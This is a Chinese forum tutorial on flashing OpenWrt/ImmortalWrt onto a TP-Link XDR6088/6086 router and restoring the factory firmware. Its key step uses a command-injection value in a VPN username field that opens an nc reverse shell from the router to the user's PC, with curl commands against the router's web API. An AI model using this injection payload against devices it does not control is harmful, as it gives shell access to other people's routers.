找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
广告投放联系QQ68610888
查看: 6831|回复: 45

小白亲刷 TP-LINK TL_XDR6088 /6086 刷入官方Openwrt/Immortalwrt 及刷回原厂教程完

  [复制链接]
本帖最后由 kollata 于 2023-12-3 00:39 编辑

前言
首先要吐槽一下部分文章教程看似很全,其实中间有好多细节根本没写出来,然后后来的搬运者还没有交代清楚!中间漏了很多细节,对小白很不友好!我是个diy爱好者,买6088的时候就研究过一番知道可以刷openwrt,当时在和中兴的5400pro+犹豫对比最终还是选择了可以折腾的6088【给朋友推荐的是5400pro+】,最近看到6088的openwrt刷机固件慢慢成熟了,就全网查阅收集了各种关于6088的资料,整个恩山关于6088的文章都查阅过一遍,以及网上搜索,最终敲定刷机方向选择官方开源的openwrt!
以下感谢大佬们辛勤编辑的教程内容(小声bb,细节还是不够)
1.原创blog-川叶:https://blog.lishun.me/tl-xdr608x-openwrt-install【部分环节细节缺乏,甚至刷回原厂那里推荐刷入tp官网固件设置的相关超链接错误!】
2.恩山搬运工-riverscn:https://www.right.com.cn/forum/f ... 9758&highlight=6088【同上】
3.集大成精华者-Ghostwriter【mobile01】:https://www.mobile01.com/topicdetail.php?f=110&t=6824460
4.应该是上面这位制作的繁体web:https://little-actor-33d.notion. ... ade8624b90b37200f9a【这份教程是迄今为止最准的】
5.B战乌克wuke:https://www.bilibili.com/video/BV1Ah411F7Rs【视频教程必看!!!边操作刷机边对比,虽然里面内容和官方的不一致,但是操作步骤可思考对比进行优化】

实际操作准备工具【下载刷机固件和必备软件环境】
  • 官方openwrt固件:https://firmware-selector.openwr ... d=tplink_tl-xdr6088【可选项】
  • ImmortalWrt固件:https://firmware-selector.immortalwrt.org/?version=23.05.0-rc4&target=mediatek%2Ffilogic&id=tplink_tl-xdr6088【针对中国大路用户做过特别优化的,和官方的一样,我选的这个】
  • Tftpd64:https://bitbucket.org/phjounin/tftpd64/downloads/【必选项,下载最新的Tftpd64-4.64-setup.exe】注意!!!刷机固件和这个tftpd64里面的子文件全部放一起,文件名最好全英文!
  • Nmap:https://nmap.org/download.html【必选项-我是Windows,选择最新的nmap-7.94-setup.exe下载就行,注意是nmap,不是npcap,他俩挨一起,我一开始就下错了,结果刷到半路跳脚!
  • WSL-Ubuntu:Windows10/11上网搜一下教程,像我小白完全不知道wsl是啥来着,自己搜索然后开通的,大佬们给的教程都不说一声。。。


演示环境
  • 刷机固件:本文写作时,最新的是23.05.0-rc3版,将来请用更新的稳定版本
  • 系统:Windows 11
  • 浏览器:chrome

安装步骤【注意:下面一定要按照步骤来!不要像我一样小白容易崩溃搞错顺序弄个5,6h】

  • 1.xdr6088路由器重置:我找不到重置按钮,直接用电脑登录路由器后台恢复出厂设置的【恢复出厂设置这里有妙用,后面说
  • 2.电脑网线连接路由器千兆LAN口,win11右下角网络图标右键打开,网络和internet设置-高级网络设置-更多网络适配器选项,找到以太网命名的正在启用连接的,右键属性更改ipv4的IP地址:192.168.1.254、子网掩码:255.255.255.0、默认网关:192.168.1.1

  • 3.Chrome浏览器网址输入192.168.1.1,重置后的路由器需要你设置一下管理员密码,接下来需要填宽带账号,到填账号这一面直接停住就可以了,按F12进入开发者页面,选择Network,可以看见持续出现的ds请求,点开Header取得 stok。



stok format = http://192.168.1.1/stok=<stok值>/ds

打开TFTP


  • 第一次打开会弹窗Windows 防火墙同时勾选公共和专用网络上都允许,接下来win11下面搜索栏搜命令提示符,右键管理员模式打开,复制粘贴以下代码

netsh advfirewall firewall add rule name="TFTP" dir=in action=allow protocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public

  • 关闭media sensing 功能【不知道干嘛用的大佬都这么关】,输入以下两串代码,为了关闭 media sensing 功能,搞完关闭命令窗口
netsh interface ipv4 set global dhcpmediasense=disabled
netsh interface ipv6 set global dhcpmediasense=disabled

前面提到的TFTP和刷机固件放一起的文件路径,就是TFTP第一个Browser需要更改对应的下面第二个的下拉选项栏选择192.168.1.254那一项【应该是自动识别ip的】

窗口1:用管理员模式打开命令提示符,刷机必备侦听步骤
  • 输入执行ncat -nvlp 4444


窗口2:打开安装好的wsl-Ubuntu
  • 先把 stok 存入环境变量,输入stock值就是前面F12提取出来的,下面这两大括号不算哈,=后面直接就是目标值,,,
  • export stok=<stok值>


输入执行命令,【注意:第二部如果运行返回结果不是 virtual**...{"error_code":0},而是什么:40203的话,那你就路由器跳过宽带设置密码设置,直接进入再恢复一次出厂设置,全部重来!】

curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

如果成功运行,则会返回 {"error_code":0}

继续运行以下命令
curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'

如果成功运行,则会返回 {"error_code":0}

此时,在刚刚打开的终端窗口1中,你应该会看到如下提示:



看不到检查一下你是不是漏了设定ipv4的ip为192.168.1.254静态ip了!


备份路由器的原厂固件,将来才能恢复。(逐条执行,小心一点,非原厂固件可跳过)


dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
md5sum /tmp/backup.img


最后这里要注意!!!好多大佬都没说,等一会,等TFPT有反应了,慢慢备份下载原厂固件,估摸着2-3分钟!一定不能觉得没反应关了重来!!!!
最后一条命令是计算文件的 md5 值。窗口2下面会有mds的值,在 TFTP 服务器收到文件后,也要在电脑上检查一下,比对一下确保两者一致。备份的文件名为:backup.img,就备份在你tftp选择的目录里面!检查方法:直接到目录里面,文件路径栏清空,输入cmd,打开窗口4:运行 certutil -hashfile 文件名 md5 来计算md5 值是否相同,确保万无一失。毕竟,接下来的步骤出错会导致路由器变砖,必须拆芯片维修。


接下来重中之重!这一步一定要一步一步执行,不然会变砖!!!
1.上传uboot

tftp -g -l /tmp/preloader.bin -r openwrt-23.05.0-rc2-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/bl31-uboot.fip -r openwrt-23.05.0-rc2-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254


2.写入uboot,顺序不能错,否则会砖!!!

dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/bl31-uboot.fip

成功执行,会返回以下格式结果(xyab是數字)
x+y records in
a+b records out


好了!到这里基本就很好搞了,通过 tftp 载入 recovery 镜像,直接拔掉路由器的电源,然后插上,回来点开TFTP64的Log viewer,会看到不断有Read request for<openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb>的字样,意思就是找不到,其实这里就需要我们把存好的刷机四个固件之一后缀为recovery.itb的文件改名,改名为这个即可
改名完很快就会传输完成,下面是 Windows 上的 tftpd64 的文件报错,和改名后成功传输的截图。



大功告成了哈哈哈哈!!网页打开192.168.1.1,弹窗设置一个密码,这个就是进入路由器的密码


之后点系统-备份与升级-下来找到刷写新的固件,在网页中上传 sysupgrade.itb 镜像文件,进行刷入。然后就大功告成了。


如何刷回原厂固件【已以身作则亲测过】
  • 前提是你有原厂固件的备份镜像。
  • 首先进openwrt后台-系统-管理权-SSH访问-勾选网关端口
  • 下载用winscp选择文件协议SCP,主机名是你的默认网关没改的话就是192.168.1.1,端口22默认就好,用户名和密码就是openwrt后台的,
  • 将之前备份的文件backup.img找出来,复制粘贴文件放到刚刚winscp进入的openwrt的tmp目录
  • 下载用putty,Hostname就是刚刚的192.168.1.1,填写完进入,login as填写的就是后台的用户名:root,按回车键继续输入密码【注意:密码不会显示出来!一个个打就行了】
  • 依次执行命令

  • opkg updateopkg
  • install kmod-mtd-rwinsmod
  • mtd-rw i_want_a_brick=1

  • dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8

  • mtd write /tmp/backup-mtd0.img /dev/mtd0


这是用mtd命令写入mtd0分区,之后路由器断电重启就会进入tp恢复模式,注意:原来一直使用chrome打开192.168.1.1的,极有可能进不去【因为我就是,因此我一度以为变砖了又又又奔溃了2h,搞了一些没必要的操作重置路由断电重启等等 不要学我!】,需要切换浏览器才能进去!

进去后正常就能看到恢复模式,恢复模式上面也有需要恢复的文件下载,下载的文件按提示到www.tp-link.com.cn搜xdr6088,点下载,下载1.0.24的升级软件导入恢复模式就可以了!!
【这里让我非常气愤的是原创者川叶/恩山搬运者riverscn全部都是建议下载文件超链接到恩山lucien2020作者下,不知道几个意思,下载了里面的1.0.24试了几次上传到恢复模式都提示软件包升级失败,然后小米浏览器进tp-link官网售后服务支持直接搜6088的相关资源下载的升级软件包32mb也是上传不上去,到这一步我以为路由器挂壁!!!结果我回过头仔细看恢复模式上的提示同样到tp-link官网,这次没有点左侧扩展菜单的售后服务支持,而是直接在首页搜xdr6088,结果下载的就可以上传了!!!试问同样都是官网 为什么两个地方的升级软件包居然不是一样的!!!外面文件名字看似一样下载下来的主文件名不一样,大小也不一样,能升级的那个软件包大小是64MB!

总结

一开始我是看到openwrt那个argon界面很好看,我一直以为openwrt长这样,没想到装完发现很原始,再上网搜了一下教程,终于找到是通过一些简单的设置来源:https://bingmeme.github.io/OpenWrt_CN/tips/JBipk.html,可以非常容易的将路由器界面皮肤更换,还有一系列的软件包很全面,大大提高了我们的使用体验,本篇教程结束,感谢各位开发人员,大佬们的付出。openwrt很多参数设置我都一头雾水,如果有专业对口详细的blog之类的教程欢迎回复推荐一下,谢谢各位同样爱好刷机的你们






2023.9.30 23:39


因为一些操作加误会刷回原厂,再从原厂刷回来了,亲测原厂教程已经修正(天杀的川叶!!!误人子弟)


2023.10.1 17:10


6088刷完openwrt用不到一天,就已经遇到两个问题
①手机无线wifi连着的时候,不定时偶然掉线:提示无网络。
②拿着手机到两堵墙后的厕所方便,连接中的5G会无信号自动退出,这时候再去手动切2.4G的话,密码都是对的,一直提示已验证中,验证失败连不上2.4G!删除重连也是一样
针对第二个问题目前初步判断openwrt固件里存在一些bug,体现为远距离连接的时候很明显连接不上和验证失败,一旦近距离就恢复正常



2023.10.1 18:10

已经遇到第三个问题了,阿里云盘下载资源一开始很正常20MB/S,不到一会全部降低为1MB/S,tp官方原厂固件的时候我阿里云盘下载都是一直20MB/S的啊》》》



2023.10.6 20:41

以上问题第一天出现过,后面用得都很稳定了,官方9-30更新了rc4,ImmortalWrt的10-1才更新的固件,刚刚好就在我刷完机的第二天,哈哈真的好巧



2023.10.7 11:41

更新了23.05.0-rc4隔着卧室一堵墙测试较之前快了近50-100MB/s。。。。不知道怎么回事,之前刷完测试和没刷之前几乎都是一样的都是300MB/s,这次更新完隔一段墙壁同样地点测试居然高达400MB/s,用几天看看还会不会无线偶尔莫名掉线连接不上


2023.10.12 1:00
部分手机存在无线连接隔墙频繁无线断线




[   21.343061] mtk_soc_eth 15100000.ethernet eth0: Link is Down
[   21.438420] mtk_soc_eth 15100000.ethernet eth0: configuring for fixed/2500base-x link mode
[   21.446847] mtk_soc_eth 15100000.ethernet eth0: Link is Up - 2.5Gbps/Full - flow control rx/tx
[   21.451691] mt7530-mdio mdio-bus:1f lan1: configuring for phy/gmii link mode
[   21.465885] br-lan: port 1(lan1) entered blocking state
[   21.471160] br-lan: port 1(lan1) entered disabled state
[   21.478014] device lan1 entered promiscuous mode
[   21.482626] device eth0 entered promiscuous mode
[   21.489342] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
[   21.603055] mt7530-mdio mdio-bus:1f lan2: configuring for phy/gmii link mode
[   21.613167] br-lan: port 2(lan2) entered blocking state
[   21.618491] br-lan: port 2(lan2) entered disabled state
[   21.626553] device lan2 entered promiscuous mode
[   21.702877] mt7530-mdio mdio-bus:1f lan3: configuring for phy/gmii link mode
[   21.712737] br-lan: port 3(lan3) entered blocking state
[   21.717984] br-lan: port 3(lan3) entered disabled state
[   21.725039] device lan3 entered promiscuous mode
[   21.832844] mt7530-mdio mdio-bus:1f lan4: configuring for phy/gmii link mode
[   21.842772] br-lan: port 4(lan4) entered blocking state
[   21.848015] br-lan: port 4(lan4) entered disabled state
[   21.855216] device lan4 entered promiscuous mode
[   21.970149] mt7530-mdio mdio-bus:1f lan5: configuring for phy/2500base-x link mode
[   22.018334] br-lan: port 5(lan5) entered blocking state
[   22.023555] br-lan: port 5(lan5) entered disabled state
[   22.030930] device lan5 entered promiscuous mode
[   22.317811] mtk_soc_eth 15100000.ethernet eth1: PHY [mdio-bus:07] driver [RTL8221B-VB-CG 2.5Gbps PHY] (irq=POLL)
[   22.327984] mtk_soc_eth 15100000.ethernet eth1: configuring for phy/2500base-x link mode
[   24.795113] br-lan: port 6(phy0-ap0) entered blocking state
[   24.800702] br-lan: port 6(phy0-ap0) entered disabled state
[   24.806406] device phy0-ap0 entered promiscuous mode
[   24.811450] br-lan: port 6(phy0-ap0) entered blocking state
[   24.817009] br-lan: port 6(phy0-ap0) entered forwarding state
[   24.822939] br-lan: port 6(phy0-ap0) entered disabled state
[   25.130275] mt7530-mdio mdio-bus:1f lan5: Link is Up - 1Gbps/Full - flow control rx
[   25.137958] br-lan: port 5(lan5) entered blocking state
[   25.143166] br-lan: port 5(lan5) entered forwarding state
[   25.151241] IPv6: ADDRCONF(NETDEV_CHANGE): br-lan: link becomes ready
[   25.164997] IPv6: ADDRCONF(NETDEV_CHANGE): phy0-ap0: link becomes ready
[   25.171720] br-lan: port 6(phy0-ap0) entered blocking state
[   25.177278] br-lan: port 6(phy0-ap0) entered forwarding state
[   25.727569] br-lan: port 7(phy1-ap0) entered blocking state
[   25.733154] br-lan: port 7(phy1-ap0) entered disabled state
[   25.738887] device phy1-ap0 entered promiscuous mode
[   25.743942] br-lan: port 7(phy1-ap0) entered blocking state
[   25.749514] br-lan: port 7(phy1-ap0) entered forwarding state
[   25.848534] br-lan: port 7(phy1-ap0) entered disabled state
[   26.568315] mtk_soc_eth 15100000.ethernet eth1: Link is Up - 2.5Gbps/Full - flow control rx/tx
[   26.576958] IPv6: ADDRCONF(NETDEV_CHANGE): eth1: link becomes ready
[   27.128474] pppoe-wan: renamed from ppp0
[   27.178453] IPv6: ADDRCONF(NETDEV_CHANGE): phy1-ap0: link becomes ready
[   27.185177] br-lan: port 7(phy1-ap0) entered blocking state
[   27.190765] br-lan: port 7(phy1-ap0) entered forwarding state
[15722.556691] mt7530-mdio mdio-bus:1f lan2: Link is Up - 1Gbps/Full - flow control rx/tx
[15722.564630] br-lan: port 2(lan2) entered blocking state
[15722.569844] br-lan: port 2(lan2) entered forwarding state
[16017.084580] br-lan: port 2(lan2) entered disabled state
[16017.089924] mt7530-mdio mdio-bus:1f lan2: Link is Down



2023.12.2 12:00


更新25.0.2,稳定使用中



















本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×

评分

参与人数 2恩山币 +2 收起 理由
jo*** + 1 感谢你的分享,无论怎样,你都是最无私的人.
ysy*** + 1 感谢你的分享,无论怎样,你都是最无私的人.

查看全部评分

 楼主| | 显示全部楼层
补充:搞完记得再开一次命令提示符:执行
netsh interface ipv4 set global dhcpmediasense=enabled
netsh interface ipv6 set global dhcpmediasense=enabled
功能开着好吧,我也不知道关了会有什么影响
回复

使用道具 举报

谢谢分享
回复

使用道具 举报

来自手机 | 显示全部楼层
不要说害人不浅,人家本着乐于公开分享的原则,每个人操作爱好不同,电脑运行环境不同,理解能力不同,电脑知识累积不同,都可能对步骤影响。你这样说,以后谁再愿意义务写教程,写了还要挨骂。本身刷机的乐趣就在于自己每一步不断解决成功,就是个折腾的过程。
回复

使用道具 举报

4楼言之有理
回复

使用道具 举报

上传uboot和写入命令是一样的吗?
回复

使用道具 举报


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

 楼主| | 显示全部楼层
iamyangyi 发表于 2023-9-30 08:51
不要说害人不浅,人家本着乐于公开分享的原则,每个人操作爱好不同,电脑运行环境不同,理解能力不同,电脑 ...

好的已经改了
回复

使用道具 举报

 楼主| | 显示全部楼层
iamyangyi 发表于 2023-9-30 08:51
不要说害人不浅,人家本着乐于公开分享的原则,每个人操作爱好不同,电脑运行环境不同,理解能力不同,电脑 ...

大佬,能帮我看看吗,刷完机了,我不小心移除了luci-Nginx软件包,导致进不去后台了,然后我按照网上搜的教程ssh连接执行命令 firstboot /y && reboot,执行完才发现路由器被重置了,重新上传了sysupgrade.itb固件,但是我发现一些功能和之前不太一样,原来的wan里面的高级设置-ipv6分配长度选项有60、64、禁用,我重置完只剩下64、禁用 这两个选项了,而且wan_6 PPoPE-wan编辑按钮按了进不去了;显示TypeError
Cannot read properties of null (reading '.name')
回复

使用道具 举报

kollata 发表于 2023-9-30 14:54
大佬,能帮我看看吗,刷完机了,我不小心移除了luci-Nginx软件包,导致进不去后台了,然后我按照网上搜的 ...

uboot再刷一次看看
回复

使用道具 举报

 楼主| | 显示全部楼层
wbh1412 发表于 2023-9-30 16:21
uboot再刷一次看看

刷了,唉,原来是一些误会,我刷回原厂再刷回来,中间差点以为变砖了,太折腾了
回复

使用道具 举报

   非常感谢楼主亲测后分享
回复

使用道具 举报

开源驱动的openwrt就这样,闭源驱动的op没这些bug。
回复

使用道具 举报

 楼主| | 显示全部楼层
wsuniversity 发表于 2023-10-2 19:32
开源驱动的openwrt就这样,闭源驱动的op没这些bug。

闭源不敢用,怕有后门
回复

使用道具 举报

我给你加一个,,, 没备份固件的  用别人的备份 刷回原厂无法保存配置 可以通过 更新允许降级的高版本固件 然后降低版本 之后就可以保存配置了,,
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

欢迎大家光临恩山无线论坛上一条 /1 下一条

有疑问请添加管理员QQ86788181|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2024-5-21 21:21

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

| 江苏省互联网有害信息举报中心 举报信箱:js12377 | @jischina.com.cn 举报电话:025-88802724 本站不良内容举报信箱:68610888@qq.com 举报电话:0519-86695797

快速回复 返回顶部 返回列表